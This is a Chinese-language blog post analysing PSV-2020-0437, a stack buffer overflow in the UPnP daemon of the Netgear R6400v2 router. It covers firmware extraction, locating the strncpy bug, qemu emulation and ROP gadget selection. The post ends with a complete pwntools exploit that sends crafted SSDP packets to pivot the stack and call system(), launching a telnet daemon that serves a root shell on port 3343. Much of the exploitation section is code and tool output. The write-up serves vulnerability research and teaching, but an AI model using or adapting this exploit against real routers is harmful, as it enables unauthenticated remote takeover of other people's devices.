PSV-2020-0437 Buffer Overflow on Some Netgear Routers // Swings' Blog 浮生若梦

BEGIN_PAYLOAD20220630

前言

距离上一篇 Blog 更新已经快两个月了，想了想应该给长草的 Blog 除除草了。于是从我的笔记文档里翻了一下，把这个漏洞翻出来给大家分享分享。具体官方通告可以参考：

【1】PSV-2020-0437 官方公告

当时我的利用是在 Netgear R6400v2 固件版本为 1.0.4.102 的环境下编写的，因此本篇文章也以此为基础进行讲述。

固件获取

当我们获取固件后，我们需要从中解压出文件系统，这里我通过 binwalk 和 unsquashfs 成功提取出对应的固件

# swing @ swingdeiMac in ~/Downloads/PSV-2020-0437 [16:43:07]
$ msl --run "binwalk R6400v2-V1.0.4.102_10.0.75.chk -ez --run-as=root"
[check_container() - msl:93 ] Container status: running
[main() - msl:139 ] Running command: bash -c "cd '/workhub/Downloads/PSV-2020-0437' ; binwalk R6400v2-V1.0.4.102_10.0.75.chk -ez --run-as=root"

__________               .__  .__  _____
\______   \__  _  ______ |  | |__|/ ____\____
 |     ___/\ \/ \/ /    \|  | |  \   __\/ __ \
 |    |     \     /   |  \  |_|  ||  | \  ___/
 |____|      \/\_/|___|  /____/__||__|  \___  >
                       \/                   \/
                                 no pwn no life


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 46354432 bytes, CRC32: 0x93E72BAF, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x20BCFC, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5276608 bytes
2145590       0x20BD36        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 44208035 bytes, 1807 inodes, blocksize: 131072 bytes, created: 2020-09-22 07:41:07

# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:40]
$ ls
20BD36.squashfs  56.7z

# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:43]
$ unsquashfs 20BD36.squashfs
Parallel unsquashfs: Using 8 processors
1694 inodes (2629 blocks) to write


write_xattr: failed to write xattr security.selinux for file squashfs-root/bin/addgroup because extended attributes are not supported by the destination filesystem

Ignoring xattrs in filesystem

To avoid this error message, specify -no-xattrs
[==========================================================================================================================================================================================================================| ] 2628/2629  99%

# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:50] C:2
$ ls squashfs-root
bin  data  dev  etc  lib  media  mnt  opt  proc  sbin  share  sys  tmp  usr  var  www

漏洞介绍

众所周知 UPNP相关的程序在路由器上是经常出现漏洞的。这次也不例外， PSV-2020-0437 的漏洞也是出现在 UPNP 的相关处理代码中。我们从刚解压出来的文件系统中提取出 upnpd 程序，然后我们用 ida pro 打开。

我们通过对 recvfrom 交叉引用，找到程序的入口，可以看该程序一开始可读入大小为 0x1fff 。

然后我们跟着数据流，即 inputBuf ，我们看到程序会调用 ssdp_http_method_check 函数

该函数会对输入的数据进行部分解析，例如 M-SEARCH 、ssdp:discover 等关键词，本次的漏洞是在 sub_22D20 函数中发生的，我们点进去查看下这个函数。

通过阅读上面的代码，我们会发现该函数在

1	strncpy((char )v6, (const char )(MXstart + 3), end - (MXstart + 3));

使用 strncpy 的时候，拷贝的长度计算上处理不当，会在此处产生栈溢出。

环境搭建

由于当时手头没有 RV6400v2 的设备，因此我采取使用 qemu-user 进行模拟的方案。

具体几个踩坑以及解决方案如下：

/dev/nvram: No such file or directory

由于 netgear 使用到了 NVRAM ，因此我们需要 hook 下 NVRAM 相关的函数，这里我用的一个网上编译好的实现：【3】 Shared Library to intercept nvram

缺失符号

找不到 dlsym 的符号。之所以会用到 dlsym，是因为该库的实现者还同时 hook 了 system、fopen、open 等函数

/lib/libdl.so.0 导出了该符号,所以 LD_PRELOAD 的时候把这个也加上

# cat tmp/nvram.ini
upnpd_debug_level=9
lan_ipaddr=172.19.32.152
hwver=R6400
friendly_name=R6400
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

挂载 /proc /dev 目录

1 2	mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev

到这我们就基本利用正常运行 upnpd 程序了。

# root @ server in /home/squashfs-root [19:32:11]
$ chroot . sh


BusyBox v1.7.2 (2020-09-18 17:38:05 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# LD_PRELOAD="/custom_nvram.so /lib/libdl.so.0" ./usr/sbin/upnpd
# [0x0002465c] fopen('/var/run/upnpd.pid', 'wb+') = 0x000db150
[0x00024688] custom_nvram initialised
[0xff757d34] fopen('/tmp/nvram.ini', 'r') = 0x000db150
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 127.0.0.1
[nvram 2] hwver = R6400
[nvram 3] friendly_name = R6400
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
[0x00024728] acosNvramConfig_get('upnpd_debug_level') = '9'
set_value_to_org_xml:1136()
[0x0000e5e8] fopen('/www/Public_UPNP_gatedesc.xml', 'rb') = 0x000db150
[0x0000e620] fopen('/tmp/upnp_xml', 'wb+') = 0x000db150
data2XML()
[0x0000f7d0] acosNvramConfig_get('lan_ipaddr') = '127.0.0.1'

PS: 操作的过程没有看到 qemu，那是因为我系统有 qemu binfmt 的支持。

利用编写

由于漏洞的根本原因是 strncpy 的缓冲区溢出，我们知道 strncpy 函数在溢出的时候会存在 \x00 截断。然而程序每次不同链接使用的是同一块内存，我们可以在第一次 recvfrom 的时候在栈上布局好 rop, 然后通过栈迁移跳转到布局好的 rop 上。

第一次连接布局好 rop
第二次连接, 构造缓冲区溢出，栈迁移到 rop 上，然后执行任意命令

整体思路可以参考【4】SSD Advisory - Netgear Nighthawk R8300 upnpd PreAuth RCE - SSD Secure Disclosure (ssd-disclosure.com)

明确了思路我们就需要开始构造 rop，找齐所需的 gadget 。

通过查看 sub_22D20 函数返回的地方汇编可知，栈溢出后，我们可控的寄存器为 R4、R5、R6、PC

loc_22DB8
MOV             R0, R4
ADD             SP, SP, #0x80
POP             {R4-R6,PC}

其中 PC 寄存器为需要的栈迁移 gadget

1	ropper -f usr/sbin/upnpd --search "add sp, sp"

这里我选择了这条 gadget, 将栈迁移到 SP+0x800 的位置，另外通过这条 gadget 我可以接着控制 R4、R5、R6、PC 四个寄存器

1 2	.text:00011B90 ADD SP, SP, #0x800 .text:00011B94 POP {R4-R6,PC}

另外最终我期望通过调用 system 函数执行任意命令，因此我需要在 bss 这样全局的地址上写入命令，因此我需要找对应可以往任意地址写入值的 gadget 。在 arm 的汇编中，写入值的汇编指令为 str

$ ropper -f usr/sbin/upnpd --search "str r?"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: str r?

[INFO] File: usr/sbin/upnpd
0x000299e8: str r0, [r3, #0x214]; pop {r3, r4, r5, pc};
0x000167e0: str r0, [r4, #0x40]; ldr r3, [pc, #0x54]; mvn r2, #0; mov r0, #0; str r2, [r3, #4]; pop {r3, r4, r5, r6, r7, pc};
0x0000ba2c: str r0, [r5]; mov r0, r4; pop {r3, r4, r5, r6, r7, pc};
0x0002d448: str r2, [r3, #-0x974]; bl #0x3bf4; movw r0, #0x1f5; pop {r3, r4, r5, pc};
0x0002d468: str r2, [r3, #-0x974]; pop {r3, r4, r5, pc};
0x0002b360: str r2, [r3, #0x248]; pop {r3, pc};
0x000182ec: str r2, [r3, #4]; bx lr;
0x000167f0: str r2, [r3, #4]; pop {r3, r4, r5, r6, r7, pc};
0x0002b458: str r2, [r3]; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x0002af38: str r2, [r3]; bl #0x326c; mov r0, r5; add sp, sp, #0x50; pop {r4, r5, r6, pc};
0x0000ba6c: str r2, [r3]; bx lr;
0x0000ba60: str r2, [r3]; mov r2, #7; ldr r3, [sp, #4]; str r2, [r3]; bx lr;
0x00017da0: str r2, [r3]; pop {r3, pc};
0x0002b524: str r2, [r3]; pop {r4, pc};
0x0000f120: str r3, [ip]; bl #0x2e94; mov r0, #0; add sp, sp, #0xc; pop {r4, r5, pc};
0x00029950: str r3, [r2, #0x200]; pop {r3, r4, r5, pc};
0x000182fc: str r3, [r2, #4]; bx lr;
0x00013d80: str r3, [r2]; mov r0, #0; add sp, sp, #0x2c; add sp, sp, #0x800; pop {r4, r5, r6, r7, pc};
0x00013900: str r3, [r2]; mov r0, #0; add sp, sp, #0x800; pop {r4, r5, r6, pc};
0x00013af4: str r3, [r2]; mov r0, #0; add sp, sp, #4; add sp, sp, #0x1000; pop {r4, r5, r6, r7, pc};
0x00017d64: str r3, [r4, #0x140]; pop {r4, pc};
0x0000bac8: str r3, [r4]; add r0, r0, #0x18400; add r0, r0, #0x2a0; pop {r4, pc};
0x000272ec: str r3, [r4]; pop {r4, pc};
0x0002dd64: str r3, [r5]; pop {r3, r4, r5, r6, r7, pc};
0x0000bc1c: str r3, [sp, #4]; bl #0x3278; add sp, sp, #8; pop {lr}; add sp, sp, #0xc; bx lr;
0x00014188: str r4, [sp, #0xfc]; str ip, [sp, #0xf8]; bl #0x33b0; mov r0, r4; add sp, sp, #0x104; pop {r4, r5, r6, r7, pc};
0x00017e98: str r5, [sp, #4]; bl #0x308c; mov r0, r4; bl #0x2e64; add sp, sp, #0xd4; pop {r4, r5, r6, r7, pc};
0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc};

对于这样的需求，我从这些 gadget 中选取了 0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc}; 这条指令，通过控制 r5、 r6 寄存器，我们可以将任意值从r6 写到 r5 所指向到地址中。然后我通过 for 循环就可以构造出将任意字符串，写到任意地址中的 rop 链

def build_rop(cmd):
    rop = b''
    rop += cyclic(355,n=4)
    rop += p32(0xdeadbeaf)         # R4
    rop += p32(bss)                # R5
    rop += cmd[:4]                 # R6
    rop += p32(str_r6_r5)          # PC
    for i in range(int(len(cmd)/4 - 1)):
        log.success('idx: {}'.format(i))
        rop += p32(0xdeadbeef)         # R3
        rop += p32(0xdeadbeef)         # R4
        rop += p32(bss+4*(i+1))        # R5
        rop += cmd[4*(i+1): 4*(i+2)]   # R6
        rop += p32(0xdeadbeef)         # R7
        rop += p32(str_r6_r5)          # PC

最后呢，在找一条 mov r0, r?, bl system 这样的gadget，将为可控的 R3 到 R7 寄存器中的一个覆写成刚刚写入了命令的地址，然后将值 mov 到 r0 寄存器上。因为 arm 到参数传递是由寄存器传递的，通过控制 r0 寄存器，我们就可以控制 system 执行任意命令。

这里了使用的是：

1 2	.text:0002704C MOV R0, R4 ; command .text:00027050 BL system

找齐所有的gadget ，并且将 rop 链布置到 SP+0x800的位置，因此第一次链接到代码如下：

# write cmd to bss
def build_rop(cmd):
    rop = b''
    rop += cyclic(355,n=4)
    rop += p32(0xdeadbeaf)         # R4
    rop += p32(bss)                # R5
    rop += cmd[:4]                 # R6
    rop += p32(str_r6_r5)          # PC
    for i in range(int(len(cmd)/4 - 1)):
        log.success('idx: {}'.format(i))
        rop += p32(0xdeadbeef)         # R3
        rop += p32(0xdeadbeef)         # R4
        rop += p32(bss+4*(i+1))        # R5
        rop += cmd[4*(i+1): 4*(i+2)]   # R6
        rop += p32(0xdeadbeef)         # R7
        rop += p32(str_r6_r5)          # PC

    rop += p32(0xdeadbeef)         # R3
    rop += p32(bss)                # R4
    rop += p32(0xdeadbeef)         # R5
    rop += p32(0xdeadbeef)         # R6
    rop += p32(0xdeadbeef)         # R7
    rop += p32(0x2704C)            # PC              call system
    # .text:0002704C                 MOV             R0, R4  ; command
    # .text:00027050                 BL              system

    return rop
 
s = remote('10.0.0.1',1900, typ='udp')
s.send(b'\x00' + b'A' * 0x1ff0)
# ropchain
s.send(b'\x00' + build_rop(cmd))
s.close()

然后第二次链接，为只需劫持返回地址到 stack pivot 的地址上即可

#.text:00011B90                 ADD             SP, SP, #0x800
#.text:00011B94                 POP             {R4-R6,PC}

def build_req():
    temp=[]
    temp.append("M-SEARCH * HTTP/1.1")
    temp.append("HOST:239.255.255.250:1900")
    temp.append('MAN: "ssdp:discover"')
    temp.append("MX: " + cyclic(139, n = 4) + p32(0x11B90)[:3]) #seconds to delay response

    temp='\r\n'.join(temp)+'\r\n\r\n'

    # print(temp)
    return temp

t = remote("10.0.0.1",1900, typ='udp')

# pivot stack
rop = ''
rop += build_req()
t.send(rop)

所以最后的 exploit为如下：

from pwn import *



def build_req():
    temp=[]
    temp.append("M-SEARCH * HTTP/1.1")
    temp.append("HOST:239.255.255.250:1900")
    temp.append('MAN: "ssdp:discover"')
    temp.append("MX: " + cyclic(139, n = 4).decode('latin') + p32(0x11B90)[:3].decode('latin')) #seconds to delay response

    temp='\r\n'.join(temp)+'\r\n\r\n'

    # print(temp)
    return temp

bss = 0x8F874
str_r6_r5 = 0x0002dd4c
# 0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc};

cmd = "/usr/sbin/telnetd -p 3343 -b 0.0.0.0 -l /bin/sh \x00"
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd += b"\x00" * (len(cmd) % 4)

# write cmd to bss
def build_rop(cmd):
    rop = b''
    rop += cyclic(355,n=4)
    rop += p32(0xdeadbeaf)         # R4
    rop += p32(bss)                # R5
    rop += cmd[:4]                 # R6
    rop += p32(str_r6_r5)          # PC
    for i in range(int(len(cmd)/4 - 1)):
        log.success('idx: {}'.format(i))
        rop += p32(0xdeadbeef)         # R3
        rop += p32(0xdeadbeef)         # R4
        rop += p32(bss+4*(i+1))        # R5
        rop += cmd[4*(i+1): 4*(i+2)]   # R6
        rop += p32(0xdeadbeef)         # R7
        rop += p32(str_r6_r5)          # PC

    rop += p32(0xdeadbeef)         # R3
    rop += p32(bss)                # R4
    rop += p32(0xdeadbeef)         # R5
    rop += p32(0xdeadbeef)         # R6
    rop += p32(0xdeadbeef)         # R7
    rop += p32(0x2704C)            # PC              call system
    # .text:0002704C                 MOV             R0, R4  ; command
    # .text:00027050                 BL              system

    return rop

s = remote('127.0.0.1',1900, typ='udp')
s.send(b'\x00' + b'A' * 0x1ff0)
# ropchain
s.send(b'\x00' + build_rop(cmd))
s.close()


t = remote("127.0.0.1",1900, typ='udp')

# pivot stack
rop = ''
rop += build_req()

print('exploit .....')

t.send(rop)

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